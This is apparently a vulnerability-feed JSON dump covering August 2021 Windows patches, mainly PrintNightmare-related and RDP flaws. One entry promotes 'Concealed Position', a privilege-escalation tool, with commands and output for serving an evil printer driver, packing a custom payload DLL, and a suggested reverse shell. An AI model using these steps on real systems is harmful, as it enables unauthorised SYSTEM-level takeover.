PrintNightmare or a unique vulnerability all on its own, said **Dustin Childs** at **Trend Micro&#x27;s Zero Day Initiative**.\n\n&quot;Microsoft does state low privileges are required, so that should put this in the non-wormable category, but you should still prioritize testing and deployment of this Critical-rated bug,&quot; Childs said.\n\nMicrosoft said the Print Spooler patch it is pushing today should address all publicly documented security problems with the service.\n\n&quot;Today we are addressing this risk by changing the default Point and Print driver installation and update behavior to require administrator privileges,&quot; Microsoft said in a blog post. &quot;This change may impact Windows print clients in scenarios where non-elevated users were previously able to add or update printers. However, we strongly believe that the security risk justifies the change. This change will take effect with the installation of the security updates released on August 10, 2021 for all versions of Windows, and is documented as [CVE-2021-34481](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-34481>).&quot;\n\nAugust brings yet another critical patch ([CVE-2021-34535](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-34535>)) for the **Windows Remote Desktop** service, and this time the flaw is in the Remote Desktop client instead of the server.\n\n[CVE-2021-26424](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-26424>) -- a scary, critical bug in the **Windows TCP/IP** component -- earned a CVSS score of 9.9 (10 is the worst), and is present in **Windows 7** through **Windows 10**, and Windows Server 2008 through 2019 (Windows 7 is no longer being supported with security updates).\n\nMicrosoft said it was not aware of anyone exploiting this bug yet, although the company assigned it the label &quot;exploitation more likely,&quot; meaning it may not be difficult for attackers to figure out. CVE-2021-26424 could be exploited by sending a single malicious data packet to a vulnerable system.\n\nFor a complete rundown of all patches released today and indexed by severity, check out the [always-useful Patch Tuesday roundup](<https://isc.sans.edu/forums/diary/Microsoft+August+2021+Patch+Tuesday/27736/>) from the **SANS Internet Storm Center**. And it&#x27;s not a bad idea to hold off updating for a few days until Microsoft works out any kinks in the updates: [AskWoody.com](<https://www.askwoody.com/2021/defcon-2-august-updates-include-print-spooler-fixes/>) usually has the lowdown on any patches that are causing problems for Windows users.\n\nOn that note, before you update _please_ make sure you have backed up your system and/or important files. It\u2019s not uncommon for a Windows update package to hose one\u2019s system or prevent it from booting properly, and some updates have been known to erase or corrupt files.\n\nSo do yourself a favor and backup before installing any patches. Windows 10 even has some [built-in tools](<https://lifehacker.com/how-to-back-up-your-computer-automatically-with-windows-1762867473>) to help you do that, either on a per-file/folder basis or by making a complete and bootable copy of your hard drive all at once.\n\nAnd if you wish to ensure Windows has been set to pause updating so you can back up your files and/or system before the operating system decides to reboot and install patches on its own schedule, [see this guide](<https://www.computerworld.com/article/3543189/check-to-make-sure-you-have-windows-updates-paused.html>).\n\nIf you experience glitches or problems installing any of these patches this month, please consider leaving a comment about it below; there\u2019s a decent chance other readers have experienced the same and may chime in here with useful tips.", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 7.8, "privilegesRequired": "LOW", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-08-10T21:12:58", "type": "krebs", "title": "Microsoft Patch Tuesday, August 2021 Edition", "bulletinFamily": "blog", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 3.9, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 4.6, "vectorString": "AV:L/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "LOCAL", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-26424", "CVE-2021-34481", "CVE-2021-34535", "CVE-2021-36936", "CVE-2021-36948"], "modified": "2021-08-10T21:12:58", "id": "KREBS:AE87E964E683A56CFE4E51E96F3530AD", "href": "https://krebsonsecurity.com/2021/08/microsoft-patch-tuesday-august-2021-edition/", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "kitploit": [{"lastseen": "2023-05-30T14:45:21", "description": "[](<https://1.bp.blogspot.com/-JMl-654CheQ/YUOLZnQfumI/AAAAAAAAuuQ/JGDFkb4V1iQ5GvRUodx6ZDEecD6q2iZ1gCNcBGAsYHQ/s300/printer_hack.jpeg>)\n\n \n\n\nConcealed Position is a local [privilege escalation](<https://www.kitploit.com/search/label/Privilege%20Escalation> \"privilege escalation\" ) attack against Windows using the concept of \"Bring Your Own Vulnerability\". Specifically, Concealed Position (CP) uses the _as designed_ package point and print logic in Windows that allows a low privilege user to stage and install printer drivers. CP specifically installs drivers with [known vulnerabilities](<https://www.kitploit.com/search/label/Known%20Vulnerabilities> \"known vulnerabilities\" ) which are then exploited to escalate to SYSTEM. Concealed Position was first presented at DEF CON 29.\n\n \n\n\n**What exploits are available** \n\n\nConcealed Position offers four exploits - all with equally dumb names:\n\n * ACIDDAMAGE - [CVE-2021-35449](<https://nvd.nist.gov/vuln/detail/CVE-2021-35449> \"CVE-2021-35449\" ) \\- Lexmark Universal Print Driver LPE\n * RADIANTDAMAGE - [CVE-2021-38085](<https://nvd.nist.gov/vuln/detail/CVE-2021-38085> \"CVE-2021-38085\" ) \\- Canon TR150 Print Driver LPE\n * POISONDAMAGE - [CVE-2019-19363](<https://nvd.nist.gov/vuln/detail/CVE-2019-19363> \"CVE-2019-19363\" ) \\- Ricoh PCL6 Print Driver LPE\n * SLASHINGDAMAGE - [CVE-2020-1300](<https://nvd.nist.gov/vuln/detail/CVE-2020-1300> \"CVE-2020-1300\" ) \\- Windows Print Spooler LPE\n\nThe exploits are neat because, besides SLASHINGDAMAGE, they will continue working even after the issues are patched. The only mechanism Windows has to stop users from using old drivers is to revoke the driver's certificate - something that is not(?) historically done.\n\n \n**But which exploit should I use?!** \n\n\nProbably ACIDDAMAGE. RADIANTDAMAGE and POISONDAMAGE are race conditions (to overwrite a DLL) and SLASHINGDAMAGE damage, hopefully, is patched most everywhere.\n\n \n**How does it work?** \n\n\nConcealed Position has two parts. An evil printer and a client. The client reaches out to the server, grabs a driver, gets the driver stored in the driver store, installs the printer, and exploits the install process. Easy! In MSAPI speak, the attack goes something like this:\n \n \n Step 1: Stage the driver in the driver store \n client to server: GetPrinterDriver \n server to client: Response with driver \n \n Stage 2: Install the driver from the driver store \n client: InstallPrinterDriverFromPackage \n \n Stage 3: Add a local printer (exploitation stage) \n client: Add printer \n \n\nIt is important to note that SLASHINGDAMAGE doesn't actually work like that though. SLASHINGDAMAGE is an implementation of the evil printer attack described at DEFCON 28 (2020) and has long since been patched. I just so happen to enjoy the attack (it sparked the rest of this development) and figured I'd leave the exploit in my evil server... as confusing as that may be.\n\n \n**Is this a Windows vulnerability?** \n\n\nArguably, yes. The driver store is a [\"trusted collection of ... third-party driver packages\"](<https://docs.microsoft.com/en-us/windows-hardware/drivers/install/driver-store> \"trusted collection of ... third-party driver packages\" ) that requires administrator access to modify. Using `GetPrinterDriver` a low privileged attacker can stage arbitrary drivers into the store. This, to me, crosses a clear security boundary.\n\nMicrosoft seemed to agree when they issued [CVE-2021-34481](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34481> \"CVE-2021-34481\" ).\n\nAlthough... it's arguable that this is simply a feature of the system and not a [vulnerability](<https://www.kitploit.com/search/label/Vulnerability> \"vulnerability\" ) at all. It really doesn't matter all that much. An attacker can escalate to SYSTEM on standard Windows installs.\n\n \n**Which verions of Windows are affected by CVE-2021-34481?** \n\n\nAt least Windows 8.1 and above.\n\n \n**How do I use these tools?** \n\n\nSimple! So simple there will be many paragraphs to describe it!\n\n \n**CP Server** \n\n\nFirst, let's look at cp_server's command line options:\n \n \n C:\\Users\\albinolobster\\concealed_position\\build\\x64\\Release\\bin>cp_server.exe \n _______ _______ __ _ _______ _______ _______ ___ _______ ______ \n | || || | | || || || _ || | | || | \n | || _ || |_| || || ___|| |_| || | | ___|| _ | \n | || | | || || || |___ | || | | |___ | | | | \n | _|| |_| || _ || _|| ___|| || |___ | ___|| |_| | \n | |_ | || | | || |_ | |___ | _ || || |___ | | \n |_______||_______||_| |__||_______||_______||__| |__||_______||_______||______| \n _______ _______ _______ ___ _______ ___ _______ __ _ \n | || || || | | || | | || | | | \n | _ || _ || _____|| | |_ _|| | | _ || |_| | \n | |_| || | | || |_____ | | | | | | | | | || | \n | ___|| |_| || _____ || | | | | | | |_| || _ | \n | | | | _____| || | | | | | | || | | | \n |___| |_______||_______||___| |___| |___| |_______||_| |__| server! \n \n CLI options: \n -h, --help Display the help message \n -e, --exploit arg The exploit to use \n -c, --cabs arg (=.\\cab_files) The location of the cabinet files \n \n Exploits available: \n ACIDDAMAGE \n POISONDAMAGE \n RADIANTDAMAGE \n SLASHINGDAMAGE \n \n C:\\Users\\albinolobster\\concealed_position\\build\\x64\\Release\\bin> \n \n\nAbove you can see the server requires two options:\n\n 1. The exploit to configure the printer for\n 2. A path to this repositories cab_files (.\\cab_files\\ is the default)\n\nFor example, let's say we wanted to configure an evil printer that would serve up the ACIDDAMAGE driver. Just do this:\n \n \n C:\\Users\\albinolobster\\concealed_position\\build\\x64\\Release\\bin>cp_server.exe -e ACIDDAMAGE \n _______ _______ __ _ _______ _______ _______ ___ _______ ______ \n | || || | | || || || _ || | | || | \n | || _ || |_| || || ___|| |_| || | | ___|| _ | \n | || | | || || || |___ | || | | |___ | | | | \n | _|| |_| || _ || _|| ___|| || |___ | ___|| |_| | \n | |_ | || | | || |_ | |___ | _ || || |___ | | \n |_______||_______||_| |__||_______||_______||__| |__||_______||_______||______| \n _______ _______ _______ ___ _______ ___ _______ __ _ \n | || || || | | || | | || | | | \n | _ || _ || _____|| | |_ _|| | | _ || |_| | \n | |_| || | | || |_____ | | | | | | | | | || | \n | ___|| |_| ||_____ || | | | | | | |_| || _ | \n | | | | _____| || | | | | | | || | | | \n |___| |_______||_______||___| |___| |___| |_______||_| |__| server! \n \n [+] Creating temporary space... \n [+] Expanding .\\cab_files\\ACIDDAMAGE\\LMUD1o40.cab \n [+] Pushing into the driver store \n [+] Cleaning up tmp space \n [+] Installing print driver \n [+] Driver installed! \n [+] Installing shared printer \n [+] Shared printer installed! \n [+] Automation Done. \n [!] IMPORTANT MANUAL STEPS! \n [0] In Advanced Sharing Settings, Turn off password protected sharing. \n [1] Ready to go! \n \n C:\\Users\\albinolobster\\concealed_position\\build\\x64\\Release\\bin> \n \n\nAnd that's it, you'll see a new printer on your system:\n \n \n PS C:\\Users\\albinolobster\\concealed_position\\build\\x64\\Release\\bin> Get-Printer \n \n Name ComputerName Type DriverName PortName Shared Publishe \n d \n ---- ------------ ---- ---------- -------- ------ -------- \n ACIDDAMAGE Local Lexmark Universal v2 LPT1: True False \n CutePDF Writer Local CutePDF Writer v4.0 CPW4: False False \n OneNote for Windows 10 Local Microsoft Software Pri...

SHRFAX: False False \n \n \n PS C:\\Users\\albinolobster\\concealed_position\\build\\x64\\Release\\bin> \n \n\nNote that there is one manual step that `cp_server` prompts you to do. Because I'm a junk hacker, I couldn't figure out how to programmatically set the \"Advanced Sharing Settings\" -&gt; \"Turn off password protected sharing\". You'll have to do that yourself!\n\nThe process for using `SLASHINGDAMAGE` is a little different. You'll need to first install CutePDF Writer (find the installers in the 3rd party directory). Then run cp_server and _then_ you'll still need to follow a couple of manual steps and reboot.\n\n \n**CP Client** \n\n\nThe client is similarly easy to use. Let's look at it's command line options:\n \n \n C:\\Users\\albinolobster\\concealed_position\\build\\x64\\Release\\bin>cp_client.exe \n _______ _______ __ _ _______ _______ _______ ___ _______ ______ \n | || || | | || || || _ || | | || | \n | || _ || |_| || || ___|| |_| || | | ___|| _ | \n | || | | || || || |___ | || | | |___ | | | | \n | _|| |_| || _ || _|| ___|| || |___ | ___|| |_| | \n | |_ | || | | || |_ | |___ | _ || || |___ | | \n |_______||_______||_| |__||_______||_______||__| |__||_______||_______||______| \n _______ _______ _______ ___ _______ ___ _______ __ _ \n | || || || | | || | | || | | | \n | _ || _ || _____|| | |_ _|| | | _ || |_| | \n | |_| || | | || |_____ | | | | | | | | | || | \n | ___|| |_| || _____ || | | | | | | |_| || _ | \n | | | | _____| || | | | | | | || | | | \n |___| |_______||_______||___| |___| |___| |_______||_| |__| client! \n \n CLI options: \n -h, --help Display the help message \n -r, --rhost arg The remote evil printer address \n -n, --name arg The remote evil printer name \n -e, --exploit arg The exploit to use \n -l, --local No remote printer. Local attack only. \n -d, --dll arg Path to user provided DLL to execute. \n \n Exploits available: \n ACIDDAMAGE \n POISONDAMAGE \n RADIANTDAMAGE \n \n\nFirst, I'd like to address the --dll option. The client has an embedded payload that will simply write the C:\\result.txt file. However, users can provide their own DLL via this option. A good example of something you might want to use is an x64 reverse shell produced by msfvenom. But for the rest of this we'll just assume the embedded payload.\n\n`cp_client` has two modes: remote and local. The remote option is the most interesting because it adds the [vulnerable driver](<https://www.kitploit.com/search/label/Vulnerable%20Driver> \"vulnerable driver\" ) to the driver store (thus executing the bring your own print driver vulnerability), so we'll go with that first. Let's say I want to connect back to the evil ACIDDAMAGE printer we configured previously. I just need to provide:\n\n 1. The exploit I want to use\n 2. The evil printer IP address\n 3. The name of the evil shared printer\n\nLike this!\n \n \n C:\\Users\\albinolobster\\Desktop>cp_client.exe -r 10.0.0.9 -n ACIDDAMAGE -e ACIDDAMAGE \n _______ _______ __ _ _______ _______ _______ ___ _______ ______ \n | || || | | || || || _ || | | || | \n | || _ || |_| || || ___|| |_| || | | ___|| _ | \n | || | | || || || |___ | || | | |___ | | | | \n | _|| |_| || _ || _|| ___|| || |___ | ___|| |_| | \n | |_ | || | | || |_ | |___ | _ || || |___ | | \n |_______||_______||_| |__||_______||_______||__| |__||_______||_______||______| \n _______ _______ _______ ___ _______ ___ _______ __ _ \n | || || || | | || | | || | | | \n | _ || _ || _____|| | |_ _|| | | _ || |_| | \n | |_| || | | || |_____ | | | | | | | | | || | \n | ___|| |_ | ||_____ || | | | | | | |_| || _ | \n | | | | _____| || | | | | | | || | | | \n |___| |_______||_______||___| |___| |___| |_______||_| |__| client! \n \n [+] Checking if driver is already installed \n [-] Driver is not available. \n [+] Call back to evil printer @ \\\\10.0.0.9\\ACIDDAMAGE \n [+] Staging driver in driver store \n [+] Installing the staged driver \n [+] Driver installed! \n [+] Starting AcidDamage \n [+] Checking if C:\\ProgramData\\Lexmark Universal v2\\ exists \n [-] Target directory doesn't exist.

You can just use the UI or the command line to connect to the remote printer and that's it! Unfortunately, if you want to roll a custom payload you'll need to update the CAB in the cab_files directory. But that's easy. Something like this:\n \n \n echo \u201cevil.dll\u201d \u201c../../evil.dll\u201d > files.txt \n makecab /f files.txt \n move disk1/1.cab exploit.cab \n \n\nIt's probably important to know that the version of `SLASHINGDAMAGE` in the repo drops ualapi.dll into SYSTEM32 and, when executed on reboot, it drops the C:\\result.txt file.\n\n \n**Pull Requests and Bugs** \n\n\nDo you want to submit a pull request or file a bug? Great! I appreciate that, but if you don't provide sufficient details to reproduce a bug or explain why a pull request should be accepted then there is a 100% chance I'll close your issue without comment. I appreciate you, but I'm also pretty busy.\n\n \n**Other things** \n\n\nOne thing to note is that the inject_me dll is actually embedded in the cp_client as a C array. If you update inject_me, you'll need to manually update the C array as well (just use xxd to generate the array).\n\n \n \n\n\n**[Download Concealed_Position](<https://github.com/jacob-baines/concealed_position> \"Download Concealed_Position\" )**\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-09-18T11:30:00", "type": "kitploit", "title": "Concealed Position - Bring Your Own Print Driver Privilege Escalation Tool", "bulletinFamily": "tools", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-19363", "CVE-2020-1300", "CVE-2021-34481", "CVE-2021-35449", "CVE-2021-38085"], "modified": "2021-09-18T11:30:00", "id": "KITPLOIT:1358590931647264988", "href": "http://www.kitploit.com/2021/09/concealed-position-bring-your-own-print.html", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "malwarebytes": [{"lastseen": "2021-08-11T14:38:54", "description": "The sheer number of patches (44 security vulnerabilities) should be enough to scare us, but unfortunately we have gotten used to those numbers.

Its goal is to make it easier to share data across separate vulnerability capabilities (tools, databases, and services).\n\n### Actively exploited\n\n[CVE-2021-36948](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-36948>) is an [elevation of privilege (EoP)](<https://blog.malwarebytes.com/glossary/privilege-escalation/>) vulnerability in the Windows Update Medic Service. The Windows Update Medic Service is a background service that was introduced with Windows 10 and handles the updating process. Its only purpose is to repair the Windows Update service so that your PC can continue to receive updates unhindered. Besides on Windows 10 it also runs on Windows Server 2019. According to Microsoft CVE-2021-36948 is being actively exploited, but it is not aware of exploit code publicly available. [Reportedly](<https://blog.automox.com/automox-experts-weigh-in-august-patch-tuesday-2021>), the exploit is both low complexity and can be exploited without user interaction, making this an easy vulnerability to include in an adversaries toolbox. The bug is only locally exploitable, but local elevation of privilege is exactly what ransomware gangs will be looking to do after breaching a network, for example.\n\n### 9.9 out of 10\n\n[CVE-2021-34535](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34535>) is a [Remote Code Execution (RCE)](<https://blog.malwarebytes.com/glossary/remote-code-execution-rce-attack/>) vulnerability in Windows TCP/IP. This is remotely exploitable by a malicious Hyper-V guest sending an ipv6 ping to the Hyper-V host. An attacker could send a specially crafted TCPIP packet to its host. This vulnerability exists in the TCP/IP protocol stack identified in Windows 7 and newer Microsoft operating systems, including servers.\n\nThis vulnerability received a CVSS score of 9.9 out of 10. The CVSS standards are used to help security researchers, software users, and vulnerability tracking organizations measure and report on the severity of vulnerabilities. CVSS can also help security teams and developers prioritize threats and allocate resources effectively.\n\n### 9.8 out of 10\n\nAnother high scorer is [CVE-2021-26432](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-26432>), an RCE in the Windows Services for NFS ONCRPC XDR Driver. Open Network Computing (ONC) Remote Procedure Call (RPC) is a remote procedure call system. ONC was originally developed by Sun Microsystems. The NFS protocol is independent of the type of operating system, network architecture, and transport protocols. The Windows service for the driver makes sure that Windows computers can use this protocol. This vulnerability got a high score because it is known to be easy to exploit and can be initiated remotely.\n\n### More RDP\n\n[CVE-2021-34535](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34535>) is an RCE in the Remote Desktop Client. Microsoft lists two exploit scenarios for this vulnerability:\n\n * In the case of a Remote Desktop connection, an attacker with control of a Remote Desktop Server could trigger a remote code execution (RCE) on the machine when a victim connects to the attacking server with the vulnerable Remote Desktop Client.\n * In the case of Hyper-V, a malicious program running in a guest VM could trigger guest-to-host RCE by exploiting this vulnerability in the Hyper-V Viewer when a victim running on the host connects to the attacking Hyper-V guest.\n\nSince this is a client-side vulnerability, an attacker would have to convince a user to authenticate to a malicious RDP server, where the server could then trigger the bug on the client side. Combined with other RDP weaknesses however, this vulnerability would be easy to chain into a full system take-over.\n\n### Never-ending nightmare of PrintNightmare\n\nThe Print Spooler service was subject to yet more patching. The researchers behind PrintNightmare predicted that it would be a fertile ground for further discoveries, and they seem to be right. I\u2019d be tempted to advise Microsoft to start from scratch instead of patching patches on a very old chunk of code.\n\n[CVE-2021-36936](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-36936>) an RCE vulnerability in Windows Print Spooler. A vulnerability that was publicly disclosed, which may be related to several bugs in Print Spooler that were identified by researchers over the past few months (presumably PrintNightmare).\n\n[CVE-2021-34481](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-34481>) and [CVE-2021-34527](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-34527>) are RCE vulnerabilities that could allow attackers to run arbitrary code with SYSTEM privileges.\n\nMicrosoft said the Print Spooler patch it pushed this time should address all publicly documented security problems with the service. In an unusual step, it has made a breaking change: \u201cToday we are addressing this risk by changing the default Point and Print driver installation and update behavior to require administrator privileges.\u201d\n\nTo be continued, we suspect.\n\nThe post [PrintNightmare and RDP RCE among major issues tackled by Patch Tuesday](<https://blog.malwarebytes.com/exploits-and-vulnerabilities/2021/08/printnightmare-and-rdp-rce-among-major-issues-tackled-by-patch-tuesday/>) appeared first on [Malwarebytes Labs](<https://blog.malwarebytes.com>).", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 8.8, "privilegesRequired": "LOW", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-08-11T12:16:17", "type": "malwarebytes", "title": "PrintNightmare and RDP RCE among major issues tackled by Patch Tuesday", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.0, "vectorString": "AV:N/AC:L/Au:S/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-26432", "CVE-2021-34481", "CVE-2021-34527", "CVE-2021-34535", "CVE-2021-36936", "CVE-2021-36948"], "modified": "2021-08-11T12:16:17", "id": "MALWAREBYTES:9F3181D8BD5EF0E44A305AF69898B9E0", "href": "https://blog.malwarebytes.com/exploits-and-vulnerabilities/2021/08/printnightmare-and-rdp-rce-among-major-issues-tackled-by-patch-tuesday/", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}], "qualysblog": [{"lastseen": "2021-08-21T10:10:11", "description": "### Microsoft Patch Tuesday \u2013 August 2021\n\nMicrosoft patched 51 vulnerabilities in their August 2021 Patch Tuesday release, and 7 of them are rated as critical severity.
